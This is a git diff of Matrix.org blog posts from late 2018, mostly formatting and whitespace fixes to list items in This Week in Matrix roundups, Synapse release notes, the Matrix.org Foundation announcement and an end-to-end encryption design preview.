Many people reading this likely already run their own servers, and obviously they aren't the target audience for Modular.  But for organisations who don't have a sysadmin or don't want to spend the time to run their own server, hopefully Modular gives a very cost-effective way of running your own dedicated reliable Matrix server without having to pay for a sysadmin :) - We're looking forward to see more of these kind of services popping up in the future from everywhere in the ecosystem, and have started a Matrix Hosting page on the Matrix website so that everyone can advertise their own: don't hesitate to get in touch if you have a service to be featured! - If you're interested, please swing by #modular:matrix.org or feel free to shoot questions to support@modular.im. diff --git a/content/blog/2018/10/2018-10-27-this-week-in-matrix-2018-10-26.md b/content/blog/2018/10/2018-10-27-this-week-in-matrix-2018-10-26.md index 8e94971ed..9faa6a881 100644 --- a/content/blog/2018/10/2018-10-27-this-week-in-matrix-2018-10-26.md +++ b/content/blog/2018/10/2018-10-27-this-week-in-matrix-2018-10-26.md @@ -18,7 +18,7 @@ We've covered the growth of this project several times in TWIM, but I wanted to For support and more info, come join the associated room: #matrix-docker-ansible-deploy:devture.com > > Late breaking news from Slavi: - +> > One more matrix-docker-ansible-deploy update: the playbook can now set up Whatsapp-bridging via mautrix-whatsapp. Thanks to @izissise! ## Dimension @@ -27,12 +27,12 @@ Dimension is an integration manager for Matrix. It's written and maintained by < > Dimension has received quite a lot of updates over the last week. Here's what's hot off the press: >
      ->
    • 4 new bridges can be self-hosted and managed in Dimension: Telegram, Webhooks, Slack, and Gitter.
    • ->
    • 3 new widgets are available: Grafana, TradingView, and Spotify.
    • ->
    • Add your own custom bots for people to add to their rooms.
    • ->
    • A dark theme has been added and is automatically applied if you use the dark theme in Riot.
    • ->
    • The overall UI has been updated to be slightly more modern and less bright orange.
    • ->
    • Various bug fixes and improvements (is it even possible to have a changelog without this?)
    • +>
    • 4 new bridges can be self-hosted and managed in Dimension: Telegram, Webhooks, Slack, and Gitter.
    • +>
    • 3 new widgets are available: Grafana, TradingView, and Spotify.
    • +>
    • Add your own custom bots for people to add to their rooms.
    • +>
    • A dark theme has been added and is automatically applied if you use the dark theme in Riot.
    • +>
    • The overall UI has been updated to be slightly more modern and less bright orange.
    • +>
    • Various bug fixes and improvements (is it even possible to have a changelog without this?)
    • >
    > As per usual, if you find any bugs or have ideas for things to add to Dimension feel free to come by #dimension:t2bot.io @@ -58,19 +58,19 @@ A tonne of work has happened on the #251 Support for Postgresql and a newer SQLite3 backend! -
  • #182 Replace npmlog with winston, for logging to files and better logging overall.
  • -
  • #221 Add support for m.sticker.
  • -
  • #210 Discord-side moderation of matrix users.
  • -
  • #259 Show Matrix replies as Discord embeds.
  • -
  • #164 Bot will now mention name, topic and membership changes on Discord.
  • -
  • #175 Add special discord keys onto m.room.member for ghosts
  • +
  • #251 Support for Postgresql and a newer SQLite3 backend!
  • +
  • #182 Replace npmlog with winston, for logging to files and better logging overall.
  • +
  • #221 Add support for m.sticker.
  • +
  • #210 Discord-side moderation of matrix users.
  • +
  • #259 Show Matrix replies as Discord embeds.
  • +
  • #164 Bot will now mention name, topic and membership changes on Discord.
  • +
  • #175 Add special discord keys onto m.room.member for ghosts
  • Go check out the full release notes if you're interested in the Bridge as there are many more changes. Half-Shot also noted: > Shoutout to our new member of the team, @Sorunome who did a lot of the review work behind the scenes for this release. Also, thank you to everyone who submitted a PR or an issue! -## Slack Bridge 0.2.0 released! +## Slack Bridge 0.2.0 released We covered progress on the Slack Bridge previously, but Half-Shot has now declared it ready for 0.2.0 final! The bridge is reportedly running and very stable - go try it out now! @@ -86,7 +86,7 @@ We just missed out on this update from Coffee featuring two weeks in a row in TWIM: -> FAQBot has been set free at last! Find its code at https://gitlab.com/Matrixcoffee/FAQBot, and its room at #faqbot:matrix.org. +> FAQBot has been set free at last! Find its code at , and its room at #faqbot:matrix.org. FAQBot sits in various public rooms and answers common Matrix questions. Very useful for demonstrating the product to newcomers! diff --git a/content/blog/2018/10/2018-10-29-introducing-the-matrix-org-foundation-part-1-of-2.md b/content/blog/2018/10/2018-10-29-introducing-the-matrix-org-foundation-part-1-of-2.md index a4ce373e1..9a474ecb8 100644 --- a/content/blog/2018/10/2018-10-29-introducing-the-matrix-org-foundation-part-1-of-2.md +++ b/content/blog/2018/10/2018-10-29-introducing-the-matrix-org-foundation-part-1-of-2.md @@ -21,12 +21,12 @@ Now, it's important to understand that this process is not finished  -
  • A UK non-profit company - technically incorporated as a private company, limited by guarantee.
  • -
  • Guardians, whose role is to be legally responsible for ensuring that the Foundation (and by extension the Spec Core Team) keeps on mission and neutrally protects the development of Matrix.  Matrix's Guardians form the Board of Directors of the Foundation, and will provide a 'checks and balances' mechanism between each other to ensure that all Guardians act in the best interests of the protocol and ecosystem.

    For the purposes of initially setting up the Foundation, the initial Guardians are Matthew & Amandine - but in the coming weeks we're expecting to appoint at least three independent Guardians in order to ensure that the current team form a minority on the board and ensure the neutrality of the Foundation relative to Matthew & Amandine's day jobs at New Vector.The profile we're looking for in Guardians are: folks who are independent of the commercial Matrix ecosystem (and especially independent from New Vector), and may even not be members of today's Matrix community, but who are deeply aligned with the mission of the project, and who are respected and trusted by the wider community to uphold the guiding principles of the Foundation and keep the other Guardians honest.
  • -
  • An immutable asset lock, to protect the intellectual property of the Foundation and prevent it from ever being sold or transferred elsewhere.
  • -
  • An immutable mission lock, which defines the Foundation's mission as a non-profit neutral guardian of the Matrix standard, with an initial formal goal of finalising the open governance process.  To quote article 4 from the initial Articles of Association: +
  • A UK non-profit company - technically incorporated as a private company, limited by guarantee.
  • +
  • Guardians, whose role is to be legally responsible for ensuring that the Foundation (and by extension the Spec Core Team) keeps on mission and neutrally protects the development of Matrix.  Matrix's Guardians form the Board of Directors of the Foundation, and will provide a 'checks and balances' mechanism between each other to ensure that all Guardians act in the best interests of the protocol and ecosystem.

    For the purposes of initially setting up the Foundation, the initial Guardians are Matthew & Amandine - but in the coming weeks we're expecting to appoint at least three independent Guardians in order to ensure that the current team form a minority on the board and ensure the neutrality of the Foundation relative to Matthew & Amandine's day jobs at New Vector.The profile we're looking for in Guardians are: folks who are independent of the commercial Matrix ecosystem (and especially independent from New Vector), and may even not be members of today's Matrix community, but who are deeply aligned with the mission of the project, and who are respected and trusted by the wider community to uphold the guiding principles of the Foundation and keep the other Guardians honest.
  • +
  • An immutable asset lock, to protect the intellectual property of the Foundation and prevent it from ever being sold or transferred elsewhere.
  • +
  • An immutable mission lock, which defines the Foundation's mission as a non-profit neutral guardian of the Matrix standard, with an initial formal goal of finalising the open governance process.  To quote article 4 from the initial Articles of Association:
      -
    • +
    • 4. The objects of the Foundation are for the benefit of the community as a whole to:
      @@ -41,15 +41,15 @@ In practice, what this means is that in the first phase, today's Foundation give
  • -
  • You can read the initial Articles of Association here (although all the rest of it is fairly generic legal boilerplate for a non-profit company at this point which hasn't yet been tuned; the Matrix-specific stuff is Article 4 as quoted above).  You can also see the initial details of the Foundation straight from the horse's mouth over at https://beta.companieshouse.gov.uk/company/11648710.
  • +
  • You can read the initial Articles of Association here (although all the rest of it is fairly generic legal boilerplate for a non-profit company at this point which hasn't yet been tuned; the Matrix-specific stuff is Article 4 as quoted above).  You can also see the initial details of the Foundation straight from the horse's mouth over at https://beta.companieshouse.gov.uk/company/11648710.
  • Then, in the next and final phase, what remains is to:
      -
    • Appoint 3+ more Guardians (see above).
    • -
    • Finalise MSC1318 and incorporate the appropriate bits into the Articles of Associations (AoA).  (We might literally edit MSC1318 directly into the final AoA, to incorporate as much input as possible from the full community)
    • -
    • Tune the boilerplate bits of the AoA to incorporate the conclusions of MSC1318.
    • -
    • Register the Foundation as a Community Interest Company, to further anchor the Foundation as being for the benefit of the wider community.
    • -
    • Perform an Asset Transfer of any and all Matrix.org property from New Vector to the Foundation (especially the Matrix.org domain and branding, and donations directed to Matrix.org).
    • +
    • Appoint 3+ more Guardians (see above).
    • +
    • Finalise MSC1318 and incorporate the appropriate bits into the Articles of Associations (AoA).  (We might literally edit MSC1318 directly into the final AoA, to incorporate as much input as possible from the full community)
    • +
    • Tune the boilerplate bits of the AoA to incorporate the conclusions of MSC1318.
    • +
    • Register the Foundation as a Community Interest Company, to further anchor the Foundation as being for the benefit of the wider community.
    • +
    • Perform an Asset Transfer of any and all Matrix.org property from New Vector to the Foundation (especially the Matrix.org domain and branding, and donations directed to Matrix.org).
    So there you have it! It's been a long time in coming, and huge thanks to everyone for their patience and support in getting to this point, but finally The Matrix.org Foundation exists.  Watch this space over the coming weeks as we announce the Guardians and finish bootstrapping the Foundation into its final long-term form!  Meanwhile, any questions: come ask in #matrix-spec-process:matrix.org or in the blog comments here. diff --git a/content/blog/2018/11/2018-11-01-synapse-v0-33-8-is-here.md b/content/blog/2018/11/2018-11-01-synapse-v0-33-8-is-here.md index bb4f2d7e4..b9217c60b 100644 --- a/content/blog/2018/11/2018-11-01-synapse-v0-33-8-is-here.md +++ b/content/blog/2018/11/2018-11-01-synapse-v0-33-8-is-here.md @@ -22,43 +22,43 @@ As ever, you can get the new update #3975) -
  • Add config option to control alias creation (#4051)
  • -
  • The register_new_matrix_user script is now ported to Python 3. (#4085)
  • -
  • Configure Docker image to listen on both ipv4 and ipv6. (#4089)
  • +
  • Servers with auto-join rooms will now automatically create those rooms when the first user registers (#3975)
  • +
  • Add config option to control alias creation (#4051)
  • +
  • The register_new_matrix_user script is now ported to Python 3. (#4085)
  • +
  • Configure Docker image to listen on both ipv4 and ipv6. (#4089)
  • #### Bugfixes
      -
    • Fix HTTP error response codes for federated group requests. (#3969)
    • -
    • Fix issue where Python 3 users couldn't paginate /publicRooms (#4046)
    • -
    • Fix URL previewing to work in Python 3.7 (#4050)
    • -
    • synctl will use the right python executable to run worker processes (#4057)
    • -
    • Manhole now works again on Python 3, instead of failing with a "couldn't match all kex parts" when connecting. (#4060#4067)
    • -
    • Fix some metrics being racy and causing exceptions when polled by Prometheus. (#4061)
    • -
    • Fix bug which prevented email notifications from being sent unless an absolute path was given for email_templates. (#4068)
    • -
    • Correctly account for cpu usage by background threads (#4074)
    • -
    • Fix race condition where config defined reserved users were not being added to +
    • Fix HTTP error response codes for federated group requests. (#3969)
    • +
    • Fix issue where Python 3 users couldn't paginate /publicRooms (#4046)
    • +
    • Fix URL previewing to work in Python 3.7 (#4050)
    • +
    • synctl will use the right python executable to run worker processes (#4057)
    • +
    • Manhole now works again on Python 3, instead of failing with a "couldn't match all kex parts" when connecting. (#4060#4067)
    • +
    • Fix some metrics being racy and causing exceptions when polled by Prometheus. (#4061)
    • +
    • Fix bug which prevented email notifications from being sent unless an absolute path was given for email_templates. (#4068)
    • +
    • Correctly account for cpu usage by background threads (#4074)
    • +
    • Fix race condition where config defined reserved users were not being added to the monthly active user list prior to the homeserver reactor firing up (#4081)
    • -
    • Fix bug which prevented backslashes being used in event field filters (#4083)
    • +
    • Fix bug which prevented backslashes being used in event field filters (#4083)
    #### Internal Changes
      -
    • Add information about the matrix-docker-ansible-deploy playbook (#3698)
    • -
    • Add initial implementation of new state resolution algorithm (#3786)
    • -
    • Reduce database load when fetching state groups (#4011)
    • -
    • Various cleanups in the federation client code (#4031)
    • -
    • Run the CircleCI builds in docker containers (#4041)
    • -
    • Only colourise synctl output when attached to tty (#4049)
    • -
    • Refactor room alias creation code (#4063)
    • -
    • Make the Python scripts in the top-level scripts folders meet pep8 and pass flake8. (#4068)
    • -
    • The README now contains example for the Caddy web server. Contributed by steamp0rt. (#4072)
    • -
    • Add psutil as an explicit dependency (#4073)
    • -
    • Clean up threading and logcontexts in pushers (#4075)
    • -
    • Correctly manage logcontexts during startup to fix some "Unexpected logging context" warnings (#4076)
    • -
    • Give some more things logcontexts (#4077)
    • -
    • Clean up some bits of code which were flagged by the linter (#4082)
    • +
    • Add information about the matrix-docker-ansible-deploy playbook (#3698)
    • +
    • Add initial implementation of new state resolution algorithm (#3786)
    • +
    • Reduce database load when fetching state groups (#4011)
    • +
    • Various cleanups in the federation client code (#4031)
    • +
    • Run the CircleCI builds in docker containers (#4041)
    • +
    • Only colourise synctl output when attached to tty (#4049)
    • +
    • Refactor room alias creation code (#4063)
    • +
    • Make the Python scripts in the top-level scripts folders meet pep8 and pass flake8. (#4068)
    • +
    • The README now contains example for the Caddy web server. Contributed by steamp0rt. (#4072)
    • +
    • Add psutil as an explicit dependency (#4073)
    • +
    • Clean up threading and logcontexts in pushers (#4075)
    • +
    • Correctly manage logcontexts during startup to fix some "Unexpected logging context" warnings (#4076)
    • +
    • Give some more things logcontexts (#4077)
    • +
    • Clean up some bits of code which were flagged by the linter (#4082)
    diff --git a/content/blog/2018/11/2018-11-02-this-week-in-matrix-2018-11-02.md b/content/blog/2018/11/2018-11-02-this-week-in-matrix-2018-11-02.md index 173e22758..1a1fefc04 100644 --- a/content/blog/2018/11/2018-11-02-this-week-in-matrix-2018-11-02.md +++ b/content/blog/2018/11/2018-11-02-this-week-in-matrix-2018-11-02.md @@ -35,7 +35,7 @@ However, if you have ideas on how to continue the project, or would like to step Tobias Bernard officially announced the second ever Fractal hackfest: -> there's going to be a Fractal hackfest in Seville in December https://blogs.gnome.org/tbernard/2018/10/26/fractal-hackfest-in-seville +> there's going to be a Fractal hackfest in Seville in December ## matrix-client-core @@ -86,9 +86,9 @@ To find these channels, join the community at kitsune is forced by his employers to use Viber, so is thinking of creating a Matrix bridge. -
  • I spent some time this week repeatedly installing Synapse, then working with Stefan to create a new, hopefully definitive installation guide (available soon). I can also personally recommend Slavi's matrix-docker-ansible-deploy project, this is a great way to get a Synapse installation (and more!) running.
  • -
  • lately in #twim:matrix.org posters have been providing much clearer and atomic updates, which I like a lot
  • +
  • kitsune is forced by his employers to use Viber, so is thinking of creating a Matrix bridge.
  • +
  • I spent some time this week repeatedly installing Synapse, then working with Stefan to create a new, hopefully definitive installation guide (available soon). I can also personally recommend Slavi's matrix-docker-ansible-deploy project, this is a great way to get a Synapse installation (and more!) running.
  • +
  • lately in #twim:matrix.org posters have been providing much clearer and atomic updates, which I like a lot
  • ## Matrix Live, season 3 episode 2 diff --git a/content/blog/2018/11/2018-11-02-user-experience-preview-end-to-end-encryption-by-default.md b/content/blog/2018/11/2018-11-02-user-experience-preview-end-to-end-encryption-by-default.md index 07c300517..c837b2e80 100644 --- a/content/blog/2018/11/2018-11-02-user-experience-preview-end-to-end-encryption-by-default.md +++ b/content/blog/2018/11/2018-11-02-user-experience-preview-end-to-end-encryption-by-default.md @@ -12,28 +12,24 @@ category = ["General"] an independent cryptographic review and a massive backlog of feature development and bug fixes. Today, instead I'd like to focus on some of the User Experience challenges and goals we're facing. - I should also introduce myself—I'm Nad Chishtie ( @nadonomy:matrix.org) and I recently joined the Matrix core team (at New Vector) as Lead Designer, most recently focusing on end-to-end encryption. - When using encrypted messages, most existing services fall short in one or all of the following:
      -
    • They don't allow you to use multiple devices independently. For example, a web session might be locally tethered to a mobile device. +
    • They don't allow you to use multiple devices independently. For example, a web session might be locally tethered to a mobile device.
    • -
    • They don't support a way to restore or temporarily access message history. For example, if you don't have physical access to your main device because it's broken or has been stolen. +
    • They don't support a way to restore or temporarily access message history. For example, if you don't have physical access to your main device because it's broken or has been stolen.
    • -
    • They don't allow you to verify that devices are controlled by their owners rather than eavesdroppers, and persist that trust across multiple devices, sessions or rooms. +
    • They don't allow you to verify that devices are controlled by their owners rather than eavesdroppers, and persist that trust across multiple devices, sessions or rooms.
    Modern users, even those we talk to at security and privacy-led organisations, expect these features to 'just work' by default out of the box. Before enabling end-to-end encryption by default, we've been hard at work figuring out how we can deliver these features without compromising security or usability. - (For some users, restrictions such as limiting the number of places encryption keys reside, and not having a synchronised message history may be desirable security features. We'll support these cases, but just not as the default behaviour.) - Let's dive in to some of the fundamental concepts we'll be putting forward to deliver a default end-to-end encryption experience that makes sense for most modern users. In this post we'll look at an overview of work-in-progress wireframes, in the spirit of designing in the open and gathering feedback from the wider Matrix community. Please note that these don't represent the actual interface design. @@ -53,11 +49,9 @@ When using encrypted messages, most existing services fall short in one or all o To the end user, Secure Message Recovery works a lot like setting up disk encryption or a password manager. A user can optionally secure their message history using a recovery passphrase and/or key. If logged out, or using another device, the user can use the recovery passphrase or key to access their encrypted message history. - In practise, this incrementally encrypts and backs up encryption keys to a user's homeserver, kept secure by the homeserver never having access to the passphrase or key. Like cross-signing, using a recovery passphrase or key will also signal to other users that a device is trustworthy. - We think that in most cases users will cross-sign personal devices, but as a safety net (for example, if a user's devices are broken or lost) Secure Message Recovery is an invaluable tool for users to minimise the chance of them losing their encrypted message history. @@ -67,7 +61,6 @@ When using encrypted messages, most existing services fall short in one or all o With both cross-signing and Secure Message Recovery in place, we think that people should trust people, instead of individual devices. Now, when you verify a device, it'll mark all of that users trusted devices as trusted. - Gone are the days of every person you talk to having to independently verify your new device upgrade. Like cross-signing, you can verify a device by scanning a QR code or comparing a short text string. ## Sensible and extensible @@ -82,15 +75,15 @@ When using encrypted messages, most existing services fall short in one or all o With all of the above in place, and after resolving any remaining technical issues, users will be able to:
      -
    • Use end-to-end encryption by default in private rooms.
    • -
    • Use an existing device or Secure Message Recovery to access their encrypted message history on multiple devices, and to signal device trust to other users. +
    • Use end-to-end encryption by default in private rooms.
    • +
    • Use an existing device or Secure Message Recovery to access their encrypted message history on multiple devices, and to signal device trust to other users.
    • -
    • Access their encrypted message history using Secure Message Recovery, by storing encrypted message keys on their homeserver. +
    • Access their encrypted message history using Secure Message Recovery, by storing encrypted message keys on their homeserver.
    • -
    • Mark a user as trusted by verifying one of their devices, persisting across all rooms and devices. +
    • Mark a user as trusted by verifying one of their devices, persisting across all rooms and devices.
    • -
    • Keep their encrypted messages out of the hands of eavesdroppers.
    • -
    • Opt out, or further configure if they have more specific security requirements.
    • +
    • Keep their encrypted messages out of the hands of eavesdroppers.
    • +
    • Opt out, or further configure if they have more specific security requirements.
    There's more nuance to making all this work than we can cover in this overview post; things like recovery key management and immutable security notifications are all important pieces of the puzzle. For further reading, we're filling up more detail in UX reference documentation, @@ -98,10 +91,8 @@ When using encrypted messages, most existing services fall short in one or all o GitHub issues and a work-in-progress threat model. - Over the coming days we're polishing wireframes, nomenclature, iconography and microcopy as we dig deeper into development and implementation, as well as designing these features for the upcoming Riot redesign. Cryptography needn't be intimidating, and we're excited to iterate on these advanced features to make them work for everyone. - We'd love to hear your feedback! Let us know your thoughts here or in #e2e-dev:matrix.org. diff --git a/content/blog/2018/11/2018-11-09-this-week-in-matrix-2018-11-09.md b/content/blog/2018/11/2018-11-09-this-week-in-matrix-2018-11-09.md index 7e8c4b6f9..504482da3 100644 --- a/content/blog/2018/11/2018-11-09-this-week-in-matrix-2018-11-09.md +++ b/content/blog/2018/11/2018-11-09-this-week-in-matrix-2018-11-09.md @@ -31,15 +31,15 @@ These improvements will, in time, be merged back into the main Half-Shot is working on so many bridges that these days he just casually mentions a huge release like Discord bridge v0.3.0. Some of the many many new features:
      -
    • #251 Support for Postgresql and a newer SQLite3 backend!
    • -
    • #182 Replace npmlog with winston, for logging to files and better logging overall.
    • -
    • #221 Add support for m.sticker.
    • -
    • #210 Discord-side moderation of matrix users.
    • -
    • #259 Show Matrix replies as Discord embeds.
    • -
    • #164 Bot will now mention name, topic and membership changes on Discord.
    • -
    • #175 Add special discord keys onto m.room.member for ghosts
    • -
    • #179 Add rooms to the directory when bridged.
    • -
    • #220 Messages are now deleted by a users puppet rather than the bot.
    • +
    • #251 Support for Postgresql and a newer SQLite3 backend!
    • +
    • #182 Replace npmlog with winston, for logging to files and better logging overall.
    • +
    • #221 Add support for m.sticker.
    • +
    • #210 Discord-side moderation of matrix users.
    • +
    • #259 Show Matrix replies as Discord embeds.
    • +
    • #164 Bot will now mention name, topic and membership changes on Discord.
    • +
    • #175 Add special discord keys onto m.room.member for ghosts
    • +
    • #179 Add rooms to the directory when bridged.
    • +
    • #220 Messages are now deleted by a users puppet rather than the bot.
    There are many more features and bugfixes on the release notes. Also: diff --git a/content/blog/2018/11/2018-11-16-this-week-in-matrix-2018-11-16.md b/content/blog/2018/11/2018-11-16-this-week-in-matrix-2018-11-16.md index 60a925b49..775db7161 100644 --- a/content/blog/2018/11/2018-11-16-this-week-in-matrix-2018-11-16.md +++ b/content/blog/2018/11/2018-11-16-this-week-in-matrix-2018-11-16.md @@ -19,8 +19,8 @@ This week we continue Matrix Live Season 3 by talking to community member A new stable version of mxisd is out: v1.2.0. It comes with: >
      ->
    • The ultimate identity store that lets you run any command on the system to fetch info, making it the most generic yet. The sky is now your limit!
    • ->
    • The ability to send email notifications about room invites when done using a Matrix ID regardless if their users is already provisioned on synapse, using emails found in an Identity store. Targeted at onboarding/migration to Matrix for any org/corp.
    • +>
    • The ultimate identity store that lets you run any command on the system to fetch info, making it the most generic yet. The sky is now your limit!
    • +>
    • The ability to send email notifications about room invites when done using a Matrix ID regardless if their users is already provisioned on synapse, using emails found in an Identity store. Targeted at onboarding/migration to Matrix for any org/corp.
    • >
    ## Spec @@ -75,8 +75,8 @@ This week we continue Matrix Live Season 3 by talking to community member An implementation for Push-to-Talk for Jitsi calls in Riot has now been completed and is in the review phase. This was a result of multiple weeks of work, with code changes across many different repositories. Will hopefully make a difference with background noise or many participants. Look forward to seeing it land in /develop sometime shortly! Works with both Scalar and Dimension setups. > ## gomuks progress @@ -95,6 +95,6 @@ If you have feedback about the matrix.org websitehttp://blog.tadsummit.com/2018/11/16/tadsummit-2018-web3/ -## That's all I got! +## That's all I got If you need more, come back here next week, for all the latest from This Week in Matrix! Also, join us in #twim:matrix.org to tell us what you've been doing. diff --git a/content/blog/2018/11/2018-11-20-synapse-0-33-9-is-here.md b/content/blog/2018/11/2018-11-20-synapse-0-33-9-is-here.md index 207c39ad6..66052f380 100644 --- a/content/blog/2018/11/2018-11-20-synapse-0-33-9-is-here.md +++ b/content/blog/2018/11/2018-11-20-synapse-0-33-9-is-here.md @@ -24,51 +24,51 @@ As ever, you can get the new update #4004#4133#4142#4184) -
  • Support for replacing rooms with new ones (#4091#4099#4100#4101)
  • +
  • Include flags to optionally add m.login.terms to the registration flow when consent tracking is enabled. (#4004#4133#4142#4184)
  • +
  • Support for replacing rooms with new ones (#4091#4099#4100#4101)
  • #### Bugfixes
      -
    • Fix exceptions when using the email mailer on Python 3. (#4095)
    • -
    • Fix e2e key backup with more than 9 backup versions (#4113)
    • -
    • Searches that request profile info now no longer fail with a 500. (#4122)
    • -
    • fix return code of empty key backups (#4123)
    • -
    • If the typing stream ID goes backwards (as on a worker when the master restarts), the worker's typing handler will no longer erroneously report rooms containing new typing events. (#4127)
    • -
    • Fix table lock of device_lists_remote_cache which could freeze the application (#4132)
    • -
    • Fix exception when using state res v2 algorithm (#4135)
    • -
    • Generating the user consent URI no longer fails on Python 3. (#4140#4163)
    • -
    • Loading URL previews from the DB cache on Postgres will no longer cause Unicode type errors when responding to the request, and URL previews will no longer fail if the remote server returns a Content-Type header with the chartype in quotes. (#4157)
    • -
    • The hash_password script now works on Python 3. (#4161)
    • -
    • Fix noop checks when updating device keys, reducing spurious device list update notifications. (#4164)
    • +
    • Fix exceptions when using the email mailer on Python 3. (#4095)
    • +
    • Fix e2e key backup with more than 9 backup versions (#4113)
    • +
    • Searches that request profile info now no longer fail with a 500. (#4122)
    • +
    • fix return code of empty key backups (#4123)
    • +
    • If the typing stream ID goes backwards (as on a worker when the master restarts), the worker's typing handler will no longer erroneously report rooms containing new typing events. (#4127)
    • +
    • Fix table lock of device_lists_remote_cache which could freeze the application (#4132)
    • +
    • Fix exception when using state res v2 algorithm (#4135)
    • +
    • Generating the user consent URI no longer fails on Python 3. (#4140#4163)
    • +
    • Loading URL previews from the DB cache on Postgres will no longer cause Unicode type errors when responding to the request, and URL previews will no longer fail if the remote server returns a Content-Type header with the chartype in quotes. (#4157)
    • +
    • The hash_password script now works on Python 3. (#4161)
    • +
    • Fix noop checks when updating device keys, reducing spurious device list update notifications. (#4164)
    #### Deprecations and Removals
      -
    • The disused and un-specced identicon generator has been removed. (#4106)
    • -
    • The obsolete and non-functional /pull federation endpoint has been removed. (#4118)
    • -
    • The deprecated v1 key exchange endpoints have been removed. (#4119)
    • -
    • Synapse will no longer fetch keys using the fallback deprecated v1 key exchange method and will now always use v2. (#4120)
    • +
    • The disused and un-specced identicon generator has been removed. (#4106)
    • +
    • The obsolete and non-functional /pull federation endpoint has been removed. (#4118)
    • +
    • The deprecated v1 key exchange endpoints have been removed. (#4119)
    • +
    • Synapse will no longer fetch keys using the fallback deprecated v1 key exchange method and will now always use v2. (#4120)
    #### Internal Changes
      -
    • Fix build of Docker image with docker-compose (#3778)
    • -
    • Delete unreferenced state groups during history purge (#4006)
    • -
    • The "Received rdata" log messages on workers is now logged at DEBUG, not INFO. (#4108)
    • -
    • Reduce replication traffic for device lists (#4109)
    • -
    • Fix synapse_replication_tcp_protocol_*_commands metric label to be full command name, rather than just the first character (#4110)
    • -
    • Log some bits about room creation (#4121)
    • -
    • Fix tox failure on old systems (#4124)
    • -
    • Add STATE_V2_TEST room version (#4128)
    • -
    • Clean up event accesses and tests (#4137)
    • -
    • The default logging config will now set an explicit log file encoding of UTF-8. (#4138)
    • -
    • Add helpers functions for getting prev and auth events of an event (#4139)
    • -
    • Add some tests for the HTTP pusher. (#4149)
    • -
    • add purge_history.sh and purge_remote_media.sh scripts to contrib/ (#4155)
    • -
    • HTTP tests have been refactored to contain less boilerplate. (#4156)
    • -
    • Drop incoming events from federation for unknown rooms (#4165)
    • +
    • Fix build of Docker image with docker-compose (#3778)
    • +
    • Delete unreferenced state groups during history purge (#4006)
    • +
    • The "Received rdata" log messages on workers is now logged at DEBUG, not INFO. (#4108)
    • +
    • Reduce replication traffic for device lists (#4109)
    • +
    • Fix synapse_replication_tcp_protocol_*_commands metric label to be full command name, rather than just the first character (#4110)
    • +
    • Log some bits about room creation (#4121)
    • +
    • Fix tox failure on old systems (#4124)
    • +
    • Add STATE_V2_TEST room version (#4128)
    • +
    • Clean up event accesses and tests (#4137)
    • +
    • The default logging config will now set an explicit log file encoding of UTF-8. (#4138)
    • +
    • Add helpers functions for getting prev and auth events of an event (#4139)
    • +
    • Add some tests for the HTTP pusher. (#4149)
    • +
    • add purge_history.sh and purge_remote_media.sh scripts to contrib/ (#4155)
    • +
    • HTTP tests have been refactored to contain less boilerplate. (#4156)
    • +
    • Drop incoming events from federation for unknown rooms (#4165)
    diff --git a/content/blog/2018/11/2018-11-26-this-week-in-matrix-2018-11-26.md b/content/blog/2018/11/2018-11-26-this-week-in-matrix-2018-11-26.md index 56049cfb8..42123a4d5 100644 --- a/content/blog/2018/11/2018-11-26-this-week-in-matrix-2018-11-26.md +++ b/content/blog/2018/11/2018-11-26-this-week-in-matrix-2018-11-26.md @@ -12,15 +12,15 @@ A little delay to the release of this week's TWIM, expect us to resume normal sc ## Spec & Foundation
      -
    • Two workshops happened with the Foundation lawyers to work on MSC1318 - basically fleshing out a proposal for the details of the foundation governance in terms of how the Guardians (i.e. directors of the foundation board) should interact with the Core Spec Team to act as a back-stop - and working out how to port the MSC (once finished) into formal Articles of Association & adjunct documents. We'll get the workshop notes written up as a rewrite of MSC1318 very shortly.
    • -
    • New MSCs from vdH on: +
    • Two workshops happened with the Foundation lawyers to work on MSC1318 - basically fleshing out a proposal for the details of the foundation governance in terms of how the Guardians (i.e. directors of the foundation board) should interact with the Core Spec Team to act as a back-stop - and working out how to port the MSC (once finished) into formal Articles of Association & adjunct documents. We'll get the workshop notes written up as a rewrite of MSC1318 very shortly.
    • +
    • New MSCs from vdH on:
        -
      • MSC1721 Rename m.login.cas to m.login.sso
      • -
      • MSC1730 Mechanism for redirecting to an alternative server during login
      • +
      • MSC1721 Rename m.login.cas to m.login.sso
      • +
      • MSC1730 Mechanism for redirecting to an alternative server during login
    • -
    • …and an alternate to MSC1730: MSC1731 Mechanism for redirecting to an alternative server during SSO login.
    • -
    • These three SSO-related MSCs are derived from work being done for a large-scale Matrix deployment for a New Vector customer which we should be able to talk about in future. Improving SSO and other auth/identity work in Matrix is vital, and needless to say we're trying to ensure all the resulting work ends up in the spec to the benefit of the whole ecosystem :)
    • +
    • …and an alternate to MSC1730: MSC1731 Mechanism for redirecting to an alternative server during SSO login.
    • +
    • These three SSO-related MSCs are derived from work being done for a large-scale Matrix deployment for a New Vector customer which we should be able to talk about in future. Improving SSO and other auth/identity work in Matrix is vital, and needless to say we're trying to ensure all the resulting work ends up in the spec to the benefit of the whole ecosystem :)
    ## matrix-media-repo @@ -38,13 +38,13 @@ Big update from Slavi this > Most notably (in oldest to most-recent order): > > > > I'm quite happy that the playbook is getting more contributions from others now and is improving in such diverse ways! @@ -77,21 +77,21 @@ I had a very quick play with this tool and it works great - a good way to quickl News from the Riot teams:
      -
    • Android rewrite is continuing in Kotlin - lots of infrastructure work over the last few weeks
    • -
    • E2E key backups landed in Riot/iOS develop (but no UI yet, as we finalise the implementation first on Riot/Web)
    • -
    • E2E key backups also landed in Riot/Web develop (but with placeholder UI)
    • -
    • E2E key backups in dev on Riot/Android too (using Realm for storage!)
    • -
    • Lots of work from uhoreg on E2E cross-signing +
    • Android rewrite is continuing in Kotlin - lots of infrastructure work over the last few weeks
    • +
    • E2E key backups landed in Riot/iOS develop (but no UI yet, as we finalise the implementation first on Riot/Web)
    • +
    • E2E key backups also landed in Riot/Web develop (but with placeholder UI)
    • +
    • E2E key backups in dev on Riot/Android too (using Realm for storage!)
    • +
    • Lots of work from uhoreg on E2E cross-signing
    • -
    • Work on the Riot/Web redesign paused for a week due to other commitments but as of Nov 26th we're back on the case again, making up for lost time.
    • +
    • Work on the Riot/Web redesign paused for a week due to other commitments but as of Nov 26th we're back on the case again, making up for lost time.
    ## Synapse Most of the focus from the Synapse team this week has been on the new version using Python 3:
      -
    • Py3 is finished, other than Debian packages - ongoing debate on whether they should use a virtualenv or depend on debian dependencies, and who should maintain them in a Py3 world…
    • -
    • Lots of running around on final Py3 bugs
    • +
